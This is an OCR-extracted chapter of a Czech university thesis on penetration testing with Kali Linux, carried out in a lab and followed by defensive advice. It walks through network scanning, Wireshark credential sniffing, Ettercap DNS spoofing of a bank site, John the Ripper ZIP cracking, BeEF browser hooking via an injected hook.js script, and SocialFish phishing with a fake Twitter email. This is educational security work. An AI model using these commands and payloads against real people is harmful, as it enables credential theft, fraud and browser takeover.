Kali Linux je zalozeny na Debian Linuxové distribuci a je uréen k riznym druhtim penetrac-
nich testd. V roce 2013 byl uvetejnén a od té doby se stal velice popularnim operacnim sys-
témem pro testovani. Vyhodou Kali Linuxu je, ze je uplné¢ zdarma a obsahuje obrovské
mnozstvi penetrac¢nich nastroji k provéfeni nejriznéjsich aplikaci, siti a hardware. Téchto
nastroju je vice nez 600 a jsou rozdéleny do kategorii podle vyuziti od po¢ate¢niho skeno-
vani zranitelnych mist az po kone¢né reporty a vysledky pribéhu penetra¢niho testovani.
Mimo jiné jsou v Kali Linuxu obsazené programy pro prolomeni nebo obnoveni hesla, od-
poslouchdvani komunikace na bezdratovych sitich nebo skenovani webovych aplikaci a we-

bovych serverii. Nékteré nastroje jsou poté v praktické ¢asti pouzity k simulovani ttoki. [39]

6.2.1 Konzole — command line

VétSina penetracnich test je provadéna pomoci konzole neboli command line, coz je obdoba
piikazového fadku v opera¢nim systému Windows. Pomoci této konzole se zadavaji ptikazy,
které jsou poté vykonany. Nékteré penetracni nastroje v Kali Linuxu existuji v podob¢ béz-
né¢ho programu s grafickymi prvky a neptedstavuji tedy pouhé zadavani piikazl a jejich

spousténi. [39]
Vsechny ptikazy a jejich vyznam budou postupné v préci piedstaveny a popsany podrobnéji.

root@kali: ~ (- <)
File Edit View Search Terminal Help
~# pwd
/root
~# 1s
Desktop Documents Downloads Music Pictures Public Templates Videos
:~# mkdir testing
~# 1s
Desktop Documents Downloads Music Pictures Public Templates testing Videos
:~# echo "Kali Linux is running" > kali-test.txt
~# s

Desktop Documents Downloads kali-test.txt Music Pictures Public Templates testing Videos
~# cat kali-test.txt
Kali Linux is running
~# rm kali-test.txt
~# 1s
Desktop Docugents Downloads Music Pictures Public Templates testing Videos
~#

Obrazek 6: Konzole s ukdzkou nékterych zékladnich piikazi
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6.3 Sbér informaci o siti

Sbér informaci o sitich pfedstavoval tivodni ¢innost pro vykonani titoku nebo penetracniho
testu. Pro tyto ucely byla vyuzita volné dostupné aplikace jménem Wi-Fi Analyzer, ktera
slouzi ke sbéru informaci a ptehledu okolnich siti. Tato aplikace umoznovala zjistit dostupné
sit¢ v okoli pouzivaného zatizeni, jejich silu signdlu, na jakém kandlu pracuji, hodnoceni
jednotlivych kanald, stabilitu pfipojeni a typ zabezpeceni bezdratove sité. Dilezitou vyuzi-
tou vlastnosti této aplikace bylo zobrazeni veskerych zatfizeni, kterd jsou na danou sit’ ptipo-
jena, coz predstavovalo cenou informaci pro vykonani Gtoku. Cim vét$i mnozstvi informaci
bylo mozné o cilové siti nashromazdit, tim 1épe.

r o~

Na obrazku niZze a na nekterych dalSich v praktickeé Casti jsou z bezpe¢nostniho hlediska

citlivé informace skryty a nebudou uvetejnény.

¢ LAN sousedé

192.168.0.1
255.255.255.0
192.168.0.0/24
IP rozsah: 192.168.0.1 do 192.168.0.254 (254 celkem)

192.168.0.1
_ TP-LINK TECHNOLOGIES €O, LTD

192.168.0.100
] SAMSUNG ELECTRONICS. co, iro

192.168.0.103

[ ] ASUSTEK COMPUTER inc

192.168.0.106

] XIAOMI COMMUNICATIONS co, o

192.168.0.110
T SAMSUNG ELECTRONICS. co, o

Obrazek 7: VSechna piipojena zatizeni k siti

6.4 Zkoumani zranitelnosti sité

Aplikace pro systém Android jménem Zanti je urcena pro simulovani béZné pouZzivanych
kybernetickych utokt. V praktické ¢asti byla vyuZzita pro skenovani domaci sité a k vyhle-
davani chyb v zabezpeceni. Aplikace naptiklad zjistila, Ze televize Samsung s adresou
192.168.0.110 ptipojend na bezdratovou sit’, obsahuje Ctyi'i bezpecnostni diry a pét otevie-

nych portd, které je mozné zneuZit. [40]
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Linux 2.6.32 - 3.10
Samsung Electronics

192.168.0.110

05.04.19 18:32

Scan report

Vulnerabilities .

Obrazek 8: Vysledek skenovani Zanti

Ptivétivou funkci aplikace je, Ze ke vS§em nalezenym chybam v zabezpeceni si bylo mozné
piecist detailnéjsi popis ohledn¢ zranitelnosti a byly nabidnuty odkazy s ¢lanky na internetu,
kde se tyto chyby fesi a jakd opatieni je tfeba vykonat. [40]

V piipad¢€, ze by byly nalezeny urcité kritické chyby v zabezpeceni, je aplikace schopna
napt. nahradit obrazky, které se uzivateli ve webovém prohlizeci objevi, vlastnim nastave-

nym obrazkem. Na obrazku nize je mozné tento vykonany ttok vidét v praxi po navstiveni

webovych stranek, které se po nahrazeni obrazkl stanou naprosto necitelné. [40]

Honda HR-V 1.5 i-VTEC - zdéni klame

TEST & VLOG Mini Cooper S - vraci do
détskych let

Subaru BRZ Spec. 5 - limitka v testu, co je  § Subaru XV 1.6i - StraZce posadky
novéha?

Pridejte se mezi nas: www.facebook.com

TEST & VLOG Mini Cooper S - vraci do
détskych let

Subaru BRZ Spec. S - limitka v testu, co je  § Subaru XV 1.6i - StraZce posadky

nového?

n Pridejte se mezi nas: www.facebook.com,

Obrazek 9: Srovnani originalniho webu s napadenym



UTB ve Zliné, Fakulta aplikované informatiky 37

6.5 Spehovini komunikace a zachyceni citlivych udaja

Pro Spehovani komunikace byl vyuzit software Wireshark, ktery je soucasti Kali Linux dis-
tribuce a slouzi k odposlouchavani paketti (pfenasena data) a komunikace mezi zafizenimi.
Nejprve byla proto vytvoiena nova sit’ pro testovaci ucely a na ni byl poté ptenos odposlou-
chavan. Ziskani hesla a uzivatelského jména je demonstrovano na ptikladu, kdy se uzivatel
chce pfihlasit ke svému uctu na internetu a vyuzije k tomu formulét pro vyplnéni udaja.
Existuje mnoho webovych stranek, které obsahuji formulafe pro testovaci ticely, a proto byla

tato moznost vyuzita na webu www.demo.amitjakhu.com. [41]

Login Form > 1=

.:g www . dermo.amitjakhu.com/login-form/

Login Form

Register

Obrazek 10: Pouzity testovaci formulaf pro odeslani udaja

Prvnim krokem bylo spusténi nastroje Wireshark pro odchyceni hesla a uzivatelského jména.
Aby byl Wireshark schopny zachytdvat komunikaci, je nutné vybrat v nastaveni sitovou
kartu, z které ma byt komunikace odposlouchdvana a poté zapnout monitorovani pfenosu.
Jak je vidét na obrazku s formulafem vyse, neni vyuzit pii odeslani dat formulatem HTTPS
protokol (zabezpefena komunikace), ale pouze HTTP protokol. Nezabezpec¢enou komuni-

kaci reprezentuje preskrtnutéd ikona zdmku s ¢ervenou ¢arou vedle adresniho fadku. [41]

U formulafe byla zvolena metoda POST slouzici realné pro odesilani dat, diky které nejsou
vidét pfenasené tidaje v adresnim fadku oproti metodé GET. Po vypInéni idaji a odeslani
formulate se veskerd komunikace pozoruje Wireshark softwarem. JelikoZ tento program za-
znamenava celou komunikaci, je mozné zvolit filtr a vybrat jen ten typ pfenosu, ktery se vy-

zaduje. V tomto ptipadé filtrovani podle HTTP protokolu. [41]
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Na obréazku nize se zachycenymi udaji z formulafe jsou vidét informace o tom, ze komuni-
kace probihala pomoci HTTP protokolu, déle z jaké adresy byla zddost odeslana a jaka byla
cilové adresa. Sloupec Info také zminuje metodu POST s URL adresou, protoze byl formular
odeslan pravé touto metodou a na tuto adresu. V zalozce ,HTML Form URL Encoded*
se poté nalézaly zachycené udaje. Pro ucely testovani bylo zvoleno uzivatelské jméno ,,tes-

tingaccount a heslo ,,IsThisaSTROngPass* a tyto informace byly usp€sné odchyceny.

[ [http

No. Time Source Destination Protocol Length Info

B 42 8.201643769 18.8.2.15 192 185,77 .88 774 POST /login-form/ HTTP/1.1
«k 48 0.362824116 192.195.77.88 18.8.2.15 HTTP 233 HTTP/1.1 280 OK (text/html)

v Frame 42: 774 bytes on wire (6192 bits), 774 bytes captured (6192 bits) on interface ©
v+ Ethernet II, Src: PcsCompu_f8:42:a7 (08:00:27:f8:42:a7), Dst: RealtekU_12:35:00 (52:54:80:12:35:00)
» Internet Protocol Version 4, Src: 108.0.2.15, Dst: 192.195.77.80
» Transmission Control Protocel, Src Port: 50386, Dst Port: 80, Seq: 1, Ack: 1, Len: 720
+ Hypertext Transfer Protocol
~ HTML Form URL Encoded: application/x-www-Torm-urlencoded
~ Form item: "username" = "testingaccount”
Key: username
Value: testingaccount
~ Form item: "password" = "IsThisaSTROngPass"
Key: password
Value: IsThisaSTR@ngPass
L =L+ LA o =3 B -1 1] ]| 8 ot oo

Obrazek 11: Zachycené udaje z formulare

6.6 DNS Spoofing — pfesmérovani na faleSnou adresu

Jako dalsi utok byl proveden tzv. DNS Spoofing, pti kterém se provadi presmérovani DNS
zadostina jinou webovou stranku. Tento utok patii mezi jeden z nejnebezpecnéjSich, protoze
byva velice obtizné jej odhalit. Typickym scénafem, na kterém je mozné si utok piedstavit,

je ptihlaSeni uzivatele na svilj ti€et na socialnich sitich nebo k bankovnimu uctu. [42]

Pro demonstraci byl vytvofen virtualni pocita¢ se systémem Windows, na ktery bude utok
veden. ProtoZze se jednd o tok v lokalni siti, je dilezité, aby cilovy pocitac a zafizeni, na kte-
rém je utok provadén, mély stejnou Default Gateway (branu). Znamena to, Ze jsou napft. tyto

zatizeni pfipojeny na stejné aktivni sitové zatizeni (smérovac).

Nejprve bylo potieba editovat konfiguracni soubor Ettercap, ktery se da otevtit v konzoli

pomoci piikazu:

root@Kali: ~# gedit /etc/ettercapl/etter.conf
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V tomto souboru byly upraveny proménné ec_uid a ec_gid na hodnotu 0. To ma za nasledek

zménu ID uzivatele a skupiny na préva root. Nasledovalo spusténi nastroje Ettercap. [42]

root@Kali: ~# ettercap -G

V dalsim kroku byla skenovana sit’ a zjiSt'ovalo se, jaké adresy jsou pritomné a zda je mozné
je vyuzit k utoku. Néastroj Ettercap umoznuje nejprve skenovat sit’ a poté vratit seznam vSech
nalezenych cilii. Adresa pocitace, na kterou bylo v umyslu vykonavat utok, byla ptidana jako
cil 1 (Add to Target 1) a adresa brany jako cil 2 (Add to Target 2). Pro zjisténi adresy virtu-
alniho pocitace a brany byl v ptikazové fadce v systému Windows proveden piikaz ipconfig.

Nasledné se zapnul zpét v néstroji Ettercap plugin jménem dns_spoof. [42]

Za presmérovani DNS Zadosti je zodpoveédny soubor etter.dns. Pokud tedy bude obét’ chtit
navstivit webovou stranku s bankovnim uctem, napt. www.servis24.cz, v souboru etter.dns
je mozné tyto zadosti pfesmerovat piimo do pocitate uto¢nika. Nasledujicim piikazem

se spustil soubor etter.dns. [42]

root@Kali: ~# gedit /etc/ettercap/etter.dns

Do tohoto souboru bylo nutné vlozit dvé adresy. Prvni je adresa, kterou uzivatel chce navsti-
vit zadanim do vyhledavace a druhé slouzi jako adresa, na kterou bude ve skutecnosti obét’
piresmérovana. Obrazek nize ukazuje, ze se jednd o adresu 192.168.1.180 predstavujici fa-

lesnou webovou stranku. [42]

microsoft.com A 107.170.40.56
* microsoft.com A 107.170.40.56
www.microsoft.com PTR 107.170.40.56 # Wildcards in PTR are not allowed
wWww.servisz4.cz A 192.168.1.180
*.servis24.cz A 192.168.1.186|

Obrazek 12: Pfesmerovani adres zadanych uzivatelem

Aby bylo mozné zachytit pfichozi komunikaci, bylo nutné spustit webovy server s podvrh-

nutou strankou, ktera byla pro tyto t€ely vytvotfena nasledujicim piikazem. [42]

root@Kali: ~# service apache2 start
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Cesta pro umisténi webové stranky, ktera se zobrazi namisto originalni, je /var/www/html.
Zde byl vytvoten soubor s jednoduchou webovou strankou pro zjisténi funkcnosti. Jako po-
sledni krok byla v nastroji Ettercap zapnuta funkce Sniffing, ktera zapficini, Ze bude nactena
falesna webova stranka. Na obrazku nize je vidét, Ze 1 po zadani adresy www.servis24.cz
na virtualnim poéitaéi obéti, je ve skuteénosti zobrazena podvrzena webova stranka. Utok

se tak stal uspéSnym. [42]

&« (& @ L owww.servis2d.oz

U¢et Ceske Spofitelny

|51334482 HIIIIIIIIIIIII | Pfihlasit se

Obrazek 13: Zobrazena podvodna stranka

6.7 Prolomeni hesla k ZIP a RAR archivuam

K prolomeni ZIP archivu s heslem se pouzil néstroj John The Ripper, ktery slouzi k zjisténi
sily hesla a k prolomeni riiznych typt hesel. Jako scénar je mozné si predstavit, ze si uzivatel
zahesluje ZIP archiv s fotkami a videi nebo si vytvoii zalohu svého pocitace. Pro demon-
straci byl v systému Windows vytvotfen ZIP archiv s textovym souborem interpretujici sou-
kromé data uZzivatele, ktery byl poté zaheslovan pomoci programu 7zip metodou ZipCrypto.

Nasledujici ptikaz vratil Hash (otisk) hesla:

root@Kali: ~# zip2john zaloha.zip

A dal8im ptikazem si bylo moZzné jej nechat vypsat do textového souboru:

root@Kali: ~# zip2john zaloha.zip > hash.txt

root@Kali: ~# john --format=zip hash.txt

Pomoci pfedchoziho ptikazu bylo ndstroji upiesnéno, Ze se jedna o archiv ZIP a otisk hesla
je ulozen v souboru hash.txt. Prolomeni hesla trvalo okolo jedné vtefiny, a to z toho diivodu,

ze si John The Ripper nastroj vede svilj seznam hesel, ve kterém ma ulozeno nekolik tisic
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zaznamu nejpouzivanéjSich hesel. Archiv byl zaheslovan slovem avenger. Jelikoz se zmi-
néné heslo ale nachazelo v seznamu, stacil k prolomeni kratky casovy tsek. Kromé hesla
nachazejiciho se v seznamu bylo vyzkouseno i silnéjsi heslo school535, které nebylo ovSem
ani po n¢kolika hodinach prolomeno. VSse totiz zalezi na riznych okolnostech, jako napt. po-

uzity typ Hashe. [43]

root@kali: ~/Desktop e e O
File Edit View Search Terminal Help
:~/Desktop# john hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Proceeding with single, rules:Wordlist
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 3 candidates buffered for the current salt, minimum
needed for performance.
Warning: Only 1 candidates
needed for performance.
Warning: Only 2 candidates
needed for performance.
Warning: Only 6 candidates
needed for performance.
Almost done: Processing the remaining buffered candidate passwords,
i Only 5 candidates buffered for the current salt, minimum 8
needed for performance.
Proceedina with wordlist:/usr/share/iohn/password.lst.
avenger (zaloha.zip/fotky a videa/hello.txt)
1g 0:00:00:00 DONE 2/3 (2019-04-01 08:18) 12.50g/s 623412p/s 623412c/s 623412C/s
123456. .Peter
Use the "--show"
Session completed
:~/Desktop#

buffered for the current salt, minimum

buffered for the current salt,

8
8
minimum 8
8

buffered for the current salt, minimum

if any

rules:Wordlist

option to display all of the cracked passwords reliably

Obrazek 14: Prolomené heslo k ZIP archivu

Zakladni seznam nebo také slovnik, ktery John The Ripper pouziva k prolomeni hesel, byl
naposledy aktualizovan v roce 2011 a ma okolo 3500 hesel. Na internetu je mozné ovSem
naleznout slovniky obsahujici okolo 39 miliard zdznamii s podporou nékolika svétovych ja-

zykt, coz predstavuje mnohem vétsi pravdépodobnost rychlého prolomeni a nalezeni hesla.

Open - &= Save = o ®©

password.lst
usr/share/johr

123456
12345
password
passwordl
123456789
12345678

abcl23
computer
tigger
1234
qwerty
money
carmen
mickey
ceeacret

#!'comment:
#!comment:
#!comment:
#!comment:
#!comment:
#!comment:
#!comment:
#!comment:
#!'comment:
#!comment:
#!comment:
#!comment:
#!comment:

1234567890

This list has been compiled by Solar Designer of Openwall Project
in 1996 through 2011. It is assumed to be in the public domain.

This list is based on passwords most commonly seen on a set of Unix
systems in mid-1990's, sorted for decreasing number of occurrences
(that is, more common passwords are listed first). It has been
revised to also include common website passwords from public lists
of "top N passwords"” fTrom major community website compromises that
occurred in 2006 through 2010.

Last update: 2011/11/20 (3546 entries)

For more wordlists, see http://www.openwall.com/wordlists/

Plain Text ¥ Tab Width: 8 Ln 61, Col 1 = INS

Obrazek 15: Zakladni seznam s hesly
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6.8 Napadeni webového prohlizece

Nastroj BeEF je ur€en pro penetracni testovani webovych prohlizeci a k odhaleni moznych
bezpec¢nostnich chyb. V praktické ¢asti byl vyuzit pro tzv. ,,hooking* webového prohlizece.
Znamena to, ze uzivatel, na kterého je utok veden, navstivi podvrZzenou webovou aplikaci
obsahujici upraveny Javascript soubor hook.js, ktery zajistuje napojeni na BeEF server. Ty-
pickym scénafem muize byt podstréeni faleSného odkazu na webovou stranku, na ktery obét’

klikne a tim vykond upraveny Skodlivy kod. [44]

Nejprve bylo tfeba spustit nastroj BeEF pomoci nasledujicich ptikazt:

root@Kali: ~# cd /usr/share/beef-xss (pfresmérovani do spravné slozky)

root@Kali:/usr/share/beef-xss# Is (ovéreni existujiciho beef spoustéciho souboru)

root@Kali:/usr/share/beef-xss# ./beef (spusténi nastroje beef)

Timto se spustil webovy prohlizeC s adresou http://localhost:3000/ui/authentication uréenou
pro piihlaseni na server nastroje BeEF. Po zadani uzivatelského jména ,,beef* a hesla ,,beef™
byl ziskan ptistup do platformy. [44]

# BeEF 04.7.0-alpha | Submit Bug | Logout

Hooked Browsers Getting Started /| Logs Current Browser
_] Online Browssers

_| Offline Browsers

—eEF

THE BROWSER EXPLOITATION FRAMEWORK PROJECT

Official website: http://beefproject.com/

Getting Started
Welcome to BeEF!

Before being able to fully explore the framework you will have to *hook' a browser. To begin with you can
point a browser towards the basic demo page here, or the advanced version here.

If you want to hook ANY page (for debugging reasons of course), drag the following bookmarklet link
into your browser's bookmark bar, then simply click the shortcut on another page: Hook Me!

After a browser is hooked into the framework they will appear in the ‘Hooked Browsers' panel on the left.

Hooked browsers will appear in either an online or offline state, depending on how recently they have
polled the framework.

B Hooked Browsers

Obrazek 16: BeEF server po prihlaseni

Samotny BeEF po spusténi v konzoli uvadeél priklad, jak zakomponovat odkaz na Skodlivy

Javascript soubor.


http://localhost:3000/ui/authentication
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[*] Hook: <script src="http://<IP>:3000/hook.js"></script>

[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>

Pro ucely testovani byl tedy vytvoten podvrzeny index.html soubor s HTML kdédem, ktery
mimo jiné obsahoval v hlavicce odkaz na Javascript soubor podle instrukci v BeEF nastroji.

Jeho jednoduchy kod vypadal nasledovné:

<IDOCTYPE html>
<html lang="en">
<head>
<script src="http://10.0.2.15:3000/hook.js"></script>
</head>
<body>
<h1>Hook Test</h1>
</body>

</html>

Adresa 10.0.2.15 predstavovala cilovou adresu, na které bézel vytvoreny webovy server s in-

fikovanym index.html souborem. Pomoci ptikazu niZe se server spustil:

root@Kali:/usr/share/beef-xss# service apache2 start

V dal§im kroku byl vytvofen novy virtualni pocitac se systémem Windows piedstavujici
uzivatele, ktery nevédomé spusti podvrzenou webovou stranku. Na tomto virtudlnim poci-
taci byl spustén webovy prohlize¢ Internet Explorer a zde byla zadéna adresa 10.0.2.15 sm¢-
fujici na upravenou stranku. Timto bylo mozné ovladnout cilovy prohlize¢, protoZe se pravée

vykonalo spusténi hook.js souboru. [44]

Po otevieni BeEF serveru se napadnuty prohliZze¢ objevil ve sloZce Online Browser, coz
indikovalo, Ze utok byl proveden uspé&sné. Pod zaloZzkou ,,Commands® se skryvalo mnoho
¢innosti, které je mozné cilovému prohlizeci provést. Jednotlivé ptikazy jsou barevné odli-

Seny podle toho, jestli u daného prohlize¢e mohou byt uspesné vykondny. [44]
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Zelend barva tika, ze tento piikaz je mozné vykonat na cilovém pocitaci, aniz by si uzivatel
byl védom podeziel¢ aktivity. Oranzova barva znac¢i opét uspésny pokus, ale uzivatel si mize
této aktivity vimnout. Sedou barvu jsou opatieny piikazy, jejichz funkénost je nutné jeste
ovéfit. Cervenou barvou jsou oznaleny piikazy, které na dany prohlize¢ nefunguiji. [44]

Hooked Browsers

Getting Started Logs Current Browser
4] Online Browsers
a I & 10024 Details | Logs || Commands | Rider | XssRays | Ipec || Network || WebRTC
7 M= 10024 Module Tree Webcam
€= 10024 Search .

Description:  This module will show the Adobe Flash 'Allow Webcam' dialog to

__| Offline Browsers the user. The user has to click the allow button, otherwise this
T — module will not return pictures.

The title/text to convince the user can be customised. You can

Spyder Eye customise how many pictures you want to take and in which interval
Unhook (default will take 20 pictures, 1 picture per second). The picture is
Webcam sent as a base64 encoded JPG string.

Webcam Permission Check

Id: 132
Get Visited URLs (Avant Browser)
Webcam HTMLS Social This website is using Adobe Flash
Detect ActiveX Engineering
Title:
Detect Popup Blocker
Detect Unsafe ActiveX Social In order to work with the
) Engineering  programming framework this
@ Detect E"emo_[e Web Clipper Text: website is using, you need to allow
@ Detect Extensions the Adobe Flash Player Settings. If
© Detect FireBug Number of 20
@ Detect LastPass pictures:

@ Get Visited URLs Interval o take | 1000
__| Chrome Extensions (6) nichirac fmey: v
__1 Debug (9)

1Exoloits (78) v

Execute

Obrazek 17: Prikazy k vykonani na cilovém prohliZeci
Na piedchozim obrazku je vidét napt. ,,Webcam*® ptikaz, ktery po spusténi zobrazi uziva-
teli dialogové okno s zadosti o povoleni webkamery. Pokud uZzivatel umozni pouziti web-
kamery, v idedlnim piipad¢ je potizeno né¢kolik snimkl v riznych Casovych intervalech
podle nastaveni. Krom¢ funkce potizeni snimku z webkamery umoziioval BeEF napfi. na-
hrévat zvuk, ziskat informace o nainstalovanych pluginech, spusténi specialni upravené no-
tifikacni liSty nebo detekovat informace o systému a typu sité.
Pro ovéfeni funk¢énosti byl spustén piikaz ,,Get Page HTML, ktery vratil HTML kod we-
bové stranky a také ptikaz ,,Fake Notification Bar* zobrazujici v napadeném prohlizeci pod-
vodnou notifikacni liStu se smySlenou Zadosti napt. o potiebé doinstalovani pluginu k sprav-
nému fungovani elementli na webu. BeEF poskytoval moZnost zménit text, ktery se obéti
zobrazil v notifika¢ni li§té, a také bylo mozné specifikovat, jaky soubor bude stazen v pfi-
pad¢ kliknuti na instalaci pluginu. Takto bylo mozné uzivateli podstrcit v podstaté jakykoli

spoustéci soubor v podob¢ zavazného malware.

*Je vyZadovana instalace pluginu Adobe Flash player pro spravne fungovani webové stranky. | instalovat...

Obrazek 18: Fale$na notifikacni lista
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6.9 Phishing utok a vytvoreni faleSného emailu

K vytvofeni phishingového utoku, vysvétlen¢ho v teoretické Casti, bylo potfeba stahnout
a nainstalovat nastroj SocialFish, ktery slouzi pro vyukové ucely tohoto typu utoku. Pomoci

ptikazu ,.git clone* nize se program stahl:

root@Kali: ~# git clone https://github.com/UndeadSec/SocialFish.git

Nasledujici ptikaz 1 ostatni jsou ziskany z dokumentace SocialFish néstroje:

root@Kali: ~# sudo apt-get install python3 python3-pip python3-dev -y

Poté bylo potieba se piesunout do nainstalované slozky SocialFish a nechat doinstalovat

potiebné balicky dal§im ptikazem:

root@Kali: ~# cd SocialFish

root@kali:~/tests/SocialFish# python3 -m pip install -r requirements.txt

Nastroj SocialFish vyzadoval zménu opravnéni pomoci ,,chmod* ptikazu (change mode),

aby mohl byt spustén jakymkoli uzivatelem:

root@kali:~/tests/SocialFish# chmod +x SocialFish.py

Posledni ptikaz spustil SocialFish s ptfihlasovacim udaji ,,root* a ,.,toor*, které byly zvoleny

pro ziskani ptistupu do webové administrace nastroje. [45]

root@kali:~/tests/SocialFish# python3 SocialFish.py root toor

Po spusténi piikazu v konzoli je poskytnuta webova adresa, kterd je vidét na obrazku €. 19
a slouzi k pfihldSeni do webové aplikace SocialFish pomoci vytvofenych ptihlaSovacich
udaju. V prehledném webovém rozhrani bylo mozné specifikovat jednak adresu, kterd méla
byt naklonovadna a adresu, na kterou mél byt uZivatel po zadani idajii pfesmérovan. Jako
webova adresa byla zvolena socidlni sit Twitter, pro kterou je jiZ v nastroji SocialFish vy-
tvofend podvodna stranka k nerozeznani od originalni. Mimo jiné je i vyuZita k ziskdni uzi-

vatelského jména a hesla.
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root@Kkali: ~/tests/SocialFish e ® O
File Edit View Search Terminal Help
:~/tests/SocialFish# python3 SocialFish.py root toor

' UNDEADSEC | t.me/UndeadSec
Y '  youtube.com/c/UndeadSec - BRAZIL

SOCIAL FISH

' wv3.0Nepture
Twitter: https://twitter.com/A1SON_
Site: https://www.undeadsec.com

to http://0.0.0.0:5000/neptune to start
< Serving Flask app "SocialFish" (lazy loading)
< Environment: production

ction WSGI server ins d.
o mode: off
* Running on http://0.0.0.0:5000/ (Press CTRL+C to quit)

Obrazek 19: Spusténi nastroje SocialFish v konzoli

Pro simulovani redln¢ho scénaie byl vytvoren falesny email pomoci online editoru topol.io
se zpravou informujici uzivatele, ze kviili novym podminkdm je nutné, aby si aktualizoval
nekteré své udaje, jinak bude jeho ucet zrusen z diivodu porusovani pravidel. Odkaz uvnitt
emailu, ktery mél uzivatele ptesmérovat na webovou stranku Twitter, ho ve skutecnosti pie-

sméroval na podvrzenou stranku s adresou http://0.0.0.0:5000.

Dobry den uzivateli,

z ddvodu novych bezpeénostnich podminek je vyzadovana aktualizace osobnich Gdajd. vag aéet nyni porusuje
pravidla a hrozi, Ze bude v nejblizsi dobé smazan.

Pro pfihldseni do svého Gétu kliknéte zde.

Tym Twitter

Twitter podpora

L

Obrazek 20: Vytvoteny faleSny email


http://0.0.0.0:5000/
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Po navstiveni podvrzené stranky socialni sit¢ Twitter a zadani uzivatelského jména a hesla
se tyto udaje zachytily a byly k dispozici v souboru k pozdé¢jsimu prohlédnuti. Na nasledu-
jicim obrazku je mozné vidét webovou aplikaci SocialFish, kde se mimo jiné ukladaly in-
formace o poctu provedenych utokl nebo zachycenych udaji. Zde byla také moznost si pro-

hlédnout soubor s odcizenymi udaji.

2

CAPTURED CREDENTIALS

0

VISITORS NOT PICKED UP

Successful Attacks

URL P BROWSER OPERATING SYSTEM DATE PORT SCAN POSTLOG

twittercom/ 127.00] @ TRACE © firefox v60.0 O linux 04-012019 © Scan # Shodan Q view

Obrazek 21: Webova administrace nastroje SocialFish

Nevyhoda této phishingové metody spocivala v tom, Ze pokud by si uzivatel zkontroloval
adresni tadek a zjistil, Ze se nenachdzi na webu Twitteru, nybrz na podeziel¢ adrese
http://0.0.0.0:5000, nejspis by tento typ Gtoku nebyl uspésny a uzivatel by své udaje ani ne-
vyplnil.
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7 OCHRANA PROTI PROVEDENYM UTOKUM

V ptedchozi kapitole praktické ¢asti byly provedeny nékteré typy utokd, které readlné hrozi
ptipouzivani zatizeni ptipojenych do sité. Existuji zakladni opatieni, jez mize kazdy uziva-

tel vykonat, aby byl co mozna nejlépe chranén proti odcizeni svych citlivych udajt.

7.1 Zakladni ochrana proti napadeni

Jako zékladni opatfeni proti hrozicim Gtokiim je vhodné pouZivat n€které jiz dfive zminéné
technologie v prvni kapitole praktické ¢asti o kategorizaci nastroji fizeni bezpecnosti.
Napt. firewall a antivirovy software by méli spole¢né pfedstavovat naprosto zasadni prvky
zabezpeceni. Jejich kombinaci se docili ¢astecné ochrany pied novymi typy malware nebo

hackery snazici se ziskat ptistup do sité. [46]

Disponovat antivirovym softwarem a firewallem neznamena automaticky ptredpoklad napf.
kvalitniho zabezpeceni podniku, a proto je zaddouci, aby firmy dbaly na bezpecnost svych
dat a vyuzivaly sluzeb firem specializujicich se na penetracni testy. Mohou se tak objevit
zévazna zranitelnd mista predtim, nez je objevi Gtocnici a podniky mohou byt uSetteny fi-
nancnich ztrat a datovych unika. V tabulce nize jsou uvedeny udaje ze studie z roku 2011,
které analyzovaly vysi financnich ztrat zptisobenych odcizenim citlivych firemnich doku-

mentl a také jsou zde uvedeny diivody ztrat dat a informaci. [35][46]

Tabulka 2: Cena ztraty dat (upraveno) [35]

Neémecko Velka Britanie . L1
(o) (libra) Francie (euro) | Italie (euro)
Podnikatelské financni 1,33 mil € 780 tis. £ 782 tis. € 474 tis. €
ztraty

Procento zdkaznikd, ktefi |5 5, o/ 2,90 % 4,40 % 3,50 %
opusti spolecnost po ztraté

Statistika pficin ztraty dat:
Krimindlni utoky a kradeze 42 % 31 % 43 % 28 %
Nedbalost zames‘Enancu a 38 9 36 % 30 % 399,

dodavatela
Selhani ITCe;s%yznys pro- 19 % 339 26 % 339

Vysledky z predeslé tabulky ukazuji, Ze v nékterych piipadech se jednd o pomérné vysoké

ztraty a velky podil na nich maji kradeZe a kriminalni atoky. [35]




UTB ve Zliné, Fakulta aplikované informatiky 49

Ve firemnim prosttedi dale hraje dilezitou roli vyuzivani virtudlni privatni sité napft. pfi pfi-
pojovani do firemni sité ze zahranic¢i nebo poskytnuti moznosti zaméstnanci pracovat z do-
mova. VPN poskytuje zabezpeceny Sifrovany komunikacni tunel, ve kterém probiha komu-

nikace mezi zatizenimi a zvySuje tak ochranu soukromi pfi internetové aktivité. [34]

7.2 Zabranéni Spehovani komunikace

V dnesni dobé& se doporucuje pti praci na internetu vyuzivat pouze webové stranky pouziva-
jici protokol HTTPS namisto HTTP. HTTPS protokol poskytuje bezpe¢nou komunikaci
mezi webovym serverem a uzivatelem pouzitim TLS protokolu, ktery ma za kol Sifrovani,
integritu a ovérovani dat. TLS tak zjednoduSen¢ zarucuje, Ze ptenos nebude odposlouchavan

nebo zamérné pozménén a uzivatel opravdu komunikuje s danym serverem. [47]

Pro srovnani byl vytvofen stejny ptipad Gtoku za ucelem Spehovani komunikace, tentokrat
ale s pouzitim protokolu HTTPS. Na obrazku nize je vidét, Ze je Sifrovana komunikace

pro uto¢nika jiz necitelna a neni mozné ziskat uzivatelovy tdaje z formulare. [35][47]

Capturing from ethO (- > )
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
mad® o X Q « > 3« == a q a FF
‘ssl (x] -] Expression.. +
Jo. Time Source Destination Protocol Length Info

18 2.925208738 10.0.2.15 50.28.57.232 TLSv1.2 717 Application Data

2M 2 AGAAAN2ATE EA 28 K7 229 E T TICu1 2  AR1A Maw Caccinn Tirkat rhanna finhoar Cnar  Encrun tard Ua)”
»

Frame 18: 717 bytes on wire (5736 bits), 717 bytes captured (5736 bits) on interface @
Ethernet II, Src: PcsCompu_T8:42:a7 (08:00:27:78:42:a7), Dst: RealtekU_12:35:00 (52:54:00:12:35:00)
Internet Protocol Version 4, Src: 10.0.2.15, Dst: 50.28.57.232
Transmission Control Protocol, Src Port: 51004, Dst Port: 443, Seq: 644, Ack: 5130, Len: 663
Secure Sockets Layer
- TLSv1.2 Record Layer: Application Data Protocol: http-over-tls
Content Type: Application Data (23)
Version: TLS 1.2 (0x0303)
Length: 658
